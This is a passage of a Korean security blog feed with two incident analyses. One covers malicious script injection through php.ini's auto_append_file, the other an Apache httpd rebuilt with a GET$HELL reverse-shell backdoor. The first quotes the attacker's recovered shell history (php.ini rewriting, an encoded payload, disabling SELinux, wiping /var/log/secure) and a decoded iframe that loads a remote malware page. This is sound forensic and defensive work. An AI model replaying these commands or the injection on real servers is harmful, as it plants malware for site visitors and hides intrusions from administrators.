term="auto_prepend_file"/><category scheme="http://www.blogger.com/atom/ns#" term="php.ini"/><category scheme="http://www.blogger.com/atom/ns#" term="악성스크립트"/><title type='text'>PHP auto_append_file을 이용한 악성 스크립트 삽입 공격</title><content type='html'>&lt;div&gt;
&lt;br /&gt;
PHP 설정 파일인 php.ini를 보면 다음과 같은 항목들이 있습니다.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;; Automatically add files before PHP document.&lt;br /&gt;; http://php.net/auto-prepend-file&lt;br /&gt;&lt;span style=&quot;color: red;&quot;&gt;&lt;b&gt;auto_prepend_file =&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;; Automatically add files after PHP document.&lt;br /&gt;; http://php.net/auto-append-file&lt;br /&gt;&lt;span style=&quot;color: red;&quot;&gt;&lt;b&gt;auto_append_file =&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/blockquote&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
php 엔진이 파싱을 하는 파일(보통 .php 파일) 호출시 자동으로 추가할 파일을 지정하는 옵션입니다.&lt;/div&gt;
&lt;div&gt;
악성스크립트가 삽입되 확인해보니 삽입된 걸로 확인된 파일에는 정작 스크립트가 없었습니다.&lt;/div&gt;
&lt;br /&gt;
한참을 헤매다가 .bash_history에서 다음과 같은 내용을 찾았습니다.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;sed -i &quot;/auto_append_file/d&quot; php.ini&lt;br /&gt;sed -i &quot;s/; Language/\nauto_append_file = \/var\/local\/phplock.pid\n; Language/&quot; php.ini&lt;br /&gt;touch -r /etc/hosts php.ini&lt;br /&gt;echo -e &quot;\x0A\x3C\x3F\x69\x66\x28\x73\x74\x72\x73\x74\x72\x28\x24\x5F\x53\x45\x52\x56\x45\x52\x5B\x27......\x6B\x37\x66\x51\x3D\x3D\x22\x29\x3B\x7D\x20\x3F\x3E\x0A&quot; &amp;nbsp;&amp;gt; /var/local/phplock.pid&lt;br /&gt;chmod 644 /var/local/phplock.pid&lt;br /&gt;setenforce 0&lt;br /&gt;/home/www/bin/apachectl restart&lt;br /&gt;cat /dev/null &amp;gt; /var/log/secure&lt;/span&gt;&lt;/blockquote&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;br /&gt;
sed를 이용해서 auto_append_file 옵션을 지운 후에 다시 추가하고 있습니다.&lt;br /&gt;
/var/local/phplock.pid 파일에는 추가한 내용은 악성스크립트 URL을 난독화한 내용이었습니다.&lt;br /&gt;
난독화된 내용을 풀어보면 다음과 같습니다.&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;&amp;lt;iframe src=http://www.richfs.com/as/qvx.html width=111 height=1 frameborder=0&amp;lt;/iframe&amp;gt;&lt;/span&gt;&lt;/blockquote&gt;
&lt;br /&gt;
현재 해당 파일에는 접근이 되지 않고 있습니다.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
아래는 auto_append_file과 auto_prepend_file에 대한 테스트 결과입니다.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhIlEAVZuvecw2KOaVP2YBPrVzZygYwxMLpkhVyvxOZRqDsoV3IzoQKBsgN77_PYj46Apx6fec_Z5TtmXpD7lLLZa7WcrksJ8ohGFZ58Hu3VnQitwpPjjHVxtbL60jUVA_-NidSsd_HPA/s1600/auto_append.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhIlEAVZuvecw2KOaVP2YBPrVzZygYwxMLpkhVyvxOZRqDsoV3IzoQKBsgN77_PYj46Apx6fec_Z5TtmXpD7lLLZa7WcrksJ8ohGFZ58Hu3VnQitwpPjjHVxtbL60jUVA_-NidSsd_HPA/s1600/auto_append.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjfLZD1WIp0H-4h5X54tsjpXOUe18jjrEey-un6eknVbqVjynvPA4_gqbFD2t_EFLolYhL1Q32osQPcQ2bnj4QPj717b0s6PYNQGzXhnVZTUiHhxqCl_6fGbe1TByXd9aiXiGI1F_w2nA/s1600/auto_append_browser.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjfLZD1WIp0H-4h5X54tsjpXOUe18jjrEey-un6eknVbqVjynvPA4_gqbFD2t_EFLolYhL1Q32osQPcQ2bnj4QPj717b0s6PYNQGzXhnVZTUiHhxqCl_6fGbe1TByXd9aiXiGI1F_w2nA/s1600/auto_append_browser.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
php.ini 파일의 무결성을 검사하는 스크립트를 만들어서 변경시 확인할 수 있도록 해야할 듯 합니다.&lt;br /&gt;
일반적으로 php.ini는 한번 설정하면 거의 바꾸지 않는걸로 알고 있습니다만&lt;br /&gt;
만약 수정을 한다해도 관리자가 수행하는 것이기 때문에 파일 내용에 변경이 발생하면&lt;br /&gt;
어떤 내용이 바뀌었는지 확인할 수 있는 스크립트를 만들어서 확인하는 것이 좋겠습니다.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://malwarel4b.blogspot.com/feeds/909493964763832971/comments/default' title='댓글'/><link rel='replies' type='text/html' href='http://malwarel4b.blogspot.com/2012/04/php-autoappendfile.html#comment-form' title='0개의 덧글'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/53199605500372722/posts/default/909493964763832971'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/53199605500372722/posts/default/909493964763832971'/><link rel='alternate' type='text/html' href='http://malwarel4b.blogspot.com/2012/04/php-autoappendfile.html' title='PHP auto_append_file을 이용한 악성 스크립트 삽입 공격'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/11107488344732828605</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhIlEAVZuvecw2KOaVP2YBPrVzZygYwxMLpkhVyvxOZRqDsoV3IzoQKBsgN77_PYj46Apx6fec_Z5TtmXpD7lLLZa7WcrksJ8ohGFZ58Hu3VnQitwpPjjHVxtbL60jUVA_-NidSsd_HPA/s72-c/auto_append.png" height="72" width="72"/><thr:total>0</thr:total><georss:featurename>대한민국 경기도 성남시 중원구 금광1동 2450-1 황송마을</georss:featurename><georss:point>37.4443587 127.1700098</georss:point><georss:box>37.2426532 126.85415280000001 37.646064200000005 127.4858668</georss:box></entry><entry><id>tag:blogger.com,1999:blog-53199605500372722.post-2312373153137360790</id><published>2012-04-25T16:40:00.000+09:00</published><updated>2012-04-28T09:36:24.031+09:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="CheckGod"/><category scheme="http://www.blogger.com/atom/ns#" term="GET$HELL"/><category scheme="http://www.blogger.com/atom/ns#" term="godoff"/><category scheme="http://www.blogger.com/atom/ns#" term="godon"/><category scheme="http://www.blogger.com/atom/ns#" term="godup"/><category scheme="http://www.blogger.com/atom/ns#" term="httpd"/><title type='text'>백도어가 숨겨진 HTTPD 발견</title><content type='html'>&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
최근 사고조사 과정에서 다른 서버들과 httpd 데몬 파일의 사이즈가 다른게 있다면서 분석을 요청해 왔습니다. &amp;nbsp;다른 서버에 존재하는 httpd 파일의 사이즈를 확인은 못했지만 사이즈가 다른것보다 약간(?) 컸습니다.&amp;nbsp;제가 자기고 있는 리눅스에서는 1.2M와 1.4M인데 변조된 httpd는 무려 두배의 사이즈를 갖는 2.87M였습니다. 물론 사이즈만으로 악성이냐 아니냐를 판단할 수 없지만 일단 의심스러워 보였습니다.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
httpd 파일을 까보니 정상적인 아파치 기능들이 모두 있는 것으로 보아 정상 소스코드에 백도어를 심고 재컴파일을 한 것으로 추정됩니다. 분석 당시에 변조된 소스코드가 존재하지 않았지만 메모리 덤프에서 /var/tmp/aa와 /var/tmp/.bb 라는 디렉토리에 다른 변조 파일과 루트킷 경로가 있는 것으로 보아 이 디렉토리에 소스코드를 푼 후 재컴파일한 것으로 보입니다.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;[변조된 httpd의 기능]&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;1. URL에 GET$HELL을 입력할 경우 /bin/sh가 실행되면서 Reverse Connection 생성&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
http://victimhost/GET$HELL 이런식으로 말이죠...&lt;/div&gt;
&lt;div&gt;
물론 웹브라우저에서 하면 리버스쉘 연결 안됩니다.&lt;/div&gt;
&lt;div&gt;
telnet을 이용해서 접속했었습니다.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
해당 기능은 _shell 함수에 구현되어 있었으며 ap_read_request 함수에 의해 호출되고 있었습니다.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhhRJ916fcTi7YY0FNcv2ac2LTDN2LvdUj5PTbFTXMYIDaytUgTXhRCj-pzwkzLAJWqxbMR8bUbsjqlMTqSfuEU-M0X2KB6AwSTb_9SRJjJ6bNN8jVgUncFFrH8uWOoKTG_pLKzXjOwtg/s1600/_shell.png&quot; imageanchor=&quot;1&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhhRJ916fcTi7YY0FNcv2ac2LTDN2LvdUj5PTbFTXMYIDaytUgTXhRCj-pzwkzLAJWqxbMR8bUbsjqlMTqSfuEU-M0X2KB6AwSTb_9SRJjJ6bNN8jVgUncFFrH8uWOoKTG_pLKzXjOwtg/s1600/_shell.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjSTTPUeZX6cKE3IYCvnlPXkgUlOkgkON7YvLS4YPTizppb5Hi6rbetMcOUf8AN5CkzBVGYXYxfOvJhWLxnblPeLXAIwFAYujWuTJLLmoFKKzcNvGKoNtHo_6rz3J3pOy-xMZDfsrdGgA/s1600/_shell_03.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjSTTPUeZX6cKE3IYCvnlPXkgUlOkgkON7YvLS4YPTizppb5Hi6rbetMcOUf8AN5CkzBVGYXYxfOvJhWLxnblPeLXAIwFAYujWuTJLLmoFKKzcNvGKoNtHo_6rz3J3pOy-xMZDfsrdGgA/s1600/_shell_03.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;div&gt;
보시는 바와 같이 GET$HELL이 들어오면 /bin/sh를 실행합니다.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;2. 아파치 데몬 실핼시 쉘프로그램을 /usr/bin/godup으로 복제하는 기능&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;Thanks to &lt;a href=&quot;http://certteamfast.blogspot.com/&quot; target=&quot;_blank&quot;&gt;협군&lt;/a&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
신(God)인지 아닌지 확인하는 CheckGod이라는 함수가 존재하였습니다.&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: -webkit-auto;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhGYaJbcj1-YeaPVk-mq9CklQYaEPIMzzrWt3WmrbZoECc3L9nTuD4RsybHXiW3GNmqkGhAyZoAQPiwN0KxA4XBUh-BiwpOUf_OJzqj_C08Xfm-9ybHEFZlrVCxItJxeqasKD2fXf4RwA/s1600/httpd_01.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhGYaJbcj1-YeaPVk-mq9CklQYaEPIMzzrWt3WmrbZoECc3L9nTuD4RsybHXiW3GNmqkGhAyZoAQPiwN0KxA4XBUh-BiwpOUf_OJzqj_C08Xfm-9ybHEFZlrVCxItJxeqasKD2fXf4RwA/s1600/httpd_01.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: -webkit-auto;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: -webkit-auto;&quot;&gt;
간단하게 요약해보면,&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: -webkit-auto;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: -webkit-auto;&quot;&gt;
CheckGod 함수는&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: -webkit-auto;&quot;&gt;
&amp;nbsp; 1) /tmp/.godoff 파일의 존재 유무를 확인하고&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: -webkit-auto;&quot;&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; 있을 경우 쉘 존재 여부 확인하고&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: -webkit-auto;&quot;&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; 없을 경우 종료 루틴으로 이동&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: -webkit-auto;&quot;&gt;
&amp;nbsp; 2)&amp;nbsp;/tmp/.godoff 삭제하고&amp;nbsp;쉘(/bin/bash, /bin/ksh, /bin/sh 중 하나)을 /usr/bin/godup으로 복사&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: -webkit-auto;&quot;&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: -webkit-auto;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhjjJJQPOUbsqoYnnRp8z61gtIbq0va7WBDaBclyvvfLRBJgMnlkMGYozl0cgBcQuIrABq1qMKB40UXcYzvsqe08CWREG2NsIWpeosEImyLFr8mwEtF7fnmaCKAJHmo0ji5swHAucKluA/s1600/checkgod_01.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhjjJJQPOUbsqoYnnRp8z61gtIbq0va7WBDaBclyvvfLRBJgMnlkMGYozl0cgBcQuIrABq1qMKB40UXcYzvsqe08CWREG2NsIWpeosEImyLFr8mwEtF7fnmaCKAJHmo0ji5swHAucKluA/s1600/checkgod_01.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj3JUMtA_axNYSbDPu2aa_GDTb8xIT64j1wfWmOBFQX24OdzHWqUluVO1OAJ3YN43tvZB_DNhLzmSEt4dUTCG7IcrTENl6p4AbL5XjV-cQ3M2dJidHc5fH4VPZaJ8wR67RLGOM-5CixwQ/s1600/checkgod_02.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj3JUMtA_axNYSbDPu2aa_GDTb8xIT64j1wfWmOBFQX24OdzHWqUluVO1OAJ3YN43tvZB_DNhLzmSEt4dUTCG7IcrTENl6p4AbL5XjV-cQ3M2dJidHc5fH4VPZaJ8wR67RLGOM-5CixwQ/s1600/checkgod_02.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEga8rsLVT0FEkicXLDTukfFs9YIPqWO_egS0Vl087OnegauWnBukHWTAzoZMZKAiXfVgr3xPovWX3QmoWjr9APZCG71694WogXOACY7Kze2skj7fLauPfd0T6W3ASOdPjSzxyZVKHB7Mw/s1600/checkgod_03.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEga8rsLVT0FEkicXLDTukfFs9YIPqWO_egS0Vl087OnegauWnBukHWTAzoZMZKAiXfVgr3xPovWX3QmoWjr9APZCG71694WogXOACY7Kze2skj7fLauPfd0T6W3ASOdPjSzxyZVKHB7Mw/s1600/checkgod_03.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjKuR6DBUzEYuCJogAaqMXFkM1JndXvW-pvjwM2DZuWaR6lfq090K6TfZx8kIRQnJl-RDVdR4zeiE2ZrAy2vVWQffRljid1rBlZelhukAva1fWJDtRx2XA77kb30M4nUGB1kKDyDn4okw/s1600/checkgod_04.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjKuR6DBUzEYuCJogAaqMXFkM1JndXvW-pvjwM2DZuWaR6lfq090K6TfZx8kIRQnJl-RDVdR4zeiE2ZrAy2vVWQffRljid1rBlZelhukAva1fWJDtRx2XA77kb30M4nUGB1kKDyDn4okw/s1600/checkgod_04.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: -webkit-auto;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: -webkit-auto;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: -webkit-auto;&quot;&gt;
웃긴건 /bin/bash가 아니라 /bin/dash로 되어 있다는 것입니다.&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: -webkit-auto;&quot;&gt;
아마도 원본 아파치 소스코드에 악성 코드 삽입하는 과정에 실수이지 않나 생각됩니다.&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: -webkit-auto;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: -webkit-auto;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: -webkit-auto;&quot;&gt;
httpd가 위와 같은 행동들을 하는지 직접 구현해봤습니다.&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: -webkit-auto;&quot;&gt;
실서버와 완벽하게 동일한 환경이 아니다보니 약간의 제약이 있었습니다.&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: -webkit-auto;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
먼저 httpd 프로세스의 시스템콜을 확인해보니 /tmp/.godon과 /tmp/.godoff를 계속해서 찾고 있었습니다.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg6hPlf-6FKaeQ6nvTZVht7cS7ygUwZZ1yvVTzpXUHrhcXDYAgm3E2czAk5xz4bAZhalL5lzPH3MWfvvr4v4KoqEq3ky4eoSvmDT9x7KON1YHHJreBpAvN7kWcjahmqKb6m5NMG93aOBA/s1600/getshell_01.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg6hPlf-6FKaeQ6nvTZVht7cS7ygUwZZ1yvVTzpXUHrhcXDYAgm3E2czAk5xz4bAZhalL5lzPH3MWfvvr4v4KoqEq3ky4eoSvmDT9x7KON1YHHJreBpAvN7kWcjahmqKb6m5NMG93aOBA/s1600/getshell_01.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
이번에 웹서비스를 하는 child 프로세스 중 하나에 trace를 걸어 봤습니다.&lt;br /&gt;
child 프로세스가 5개였는데 그 중에 어떤놈에게 붙을지 몰라서 여러번 시도한 끝에 아래와 같이 연결되는 것을 확인할 수 있었스빈다.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEirrOfghOHr7v_GpwMMn10UuRlr4ddpXBZ-jea2RQgjKOpdBYYdo_xFFSqjLdAtzkt2UpfurTRna26141S1-nx_5eDN9KLlh3fG_hRXUxMzr5VPytG7fZYOIsf25qOsTMccMgcUwLB43A/s1600/getshell_02.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEirrOfghOHr7v_GpwMMn10UuRlr4ddpXBZ-jea2RQgjKOpdBYYdo_xFFSqjLdAtzkt2UpfurTRna26141S1-nx_5eDN9KLlh3fG_hRXUxMzr5VPytG7fZYOIsf25qOsTMccMgcUwLB43A/s1600/getshell_02.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
공격자는 telnet victim_ip 80으로 접속하면 아래와 같이 daemon 계정으로 /bin/sh가 실행되는 것을 확인할 수 있었습니다.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjTtQ2anO_Qi0Fowt9TuAVkuwZY1c8k7r7Q24EpqNPcGghoOIvfILCFqaLZSdNEF0YLRuDHjKjVFRtt4bcvuUCM6yjD2HaZbaWjVda-Lhohf_TpuRbhR3XCmg47lAOqZtldyikeQl68LQ/s1600/getshell_03.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjTtQ2anO_Qi0Fowt9TuAVkuwZY1c8k7r7Q24EpqNPcGghoOIvfILCFqaLZSdNEF0YLRuDHjKjVFRtt4bcvuUCM6yjD2HaZbaWjVda-Lhohf_TpuRbhR3XCmg47lAOqZtldyikeQl68LQ/s1600/getshell_03.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: -webkit-auto;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: -webkit-auto;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: -webkit-auto;&quot;&gt;
공격자 화면입니다.&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: -webkit-auto;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhHCkDkw_OYdsG52Y4zRh2X0uJohlW00oUe1YF-7kf3yxSe4InJK87HSlofLx1TuzJ0aaO8xV2Q1SUQ4i5GUl9CK8N5JlJk8F4oYTaHiJQB_Ic5kLnLgJEW3By51VyPA6-wwZllKUqd9A/s1600/getshell.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhHCkDkw_OYdsG52Y4zRh2X0uJohlW00oUe1YF-7kf3yxSe4InJK87HSlofLx1TuzJ0aaO8xV2Q1SUQ4i5GUl9CK8N5JlJk8F4oYTaHiJQB_Ic5kLnLgJEW3By51VyPA6-wwZllKUqd9A/s1600/getshell.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: -webkit-auto;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: -webkit-auto;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: -webkit-auto;&quot;&gt;
환경이 달라서인지 아니면 이렇게 리버스로 연결했을때 사용하는 명령이 따로 있는지 확인은 못했지만 명령이 제대로 실행되지 않는 것은 확실했습니다. -_-;;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: -webkit-auto;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: -webkit-auto;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: -webkit-auto;&quot;&gt;
공격자가 컴파일했던 소스코드가 있었다면 더 좋았겠지만 안타까울 따름입니다.&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: -webkit-auto;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: -webkit-auto;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: -webkit-auto;&quot;&gt;
사용중이신 httpd의 사이즈 확인해보시고 strings로 문자열 뽑아서 GET$HELL이 있는지 확인해보시기 바랍니다.&lt;/div&gt;
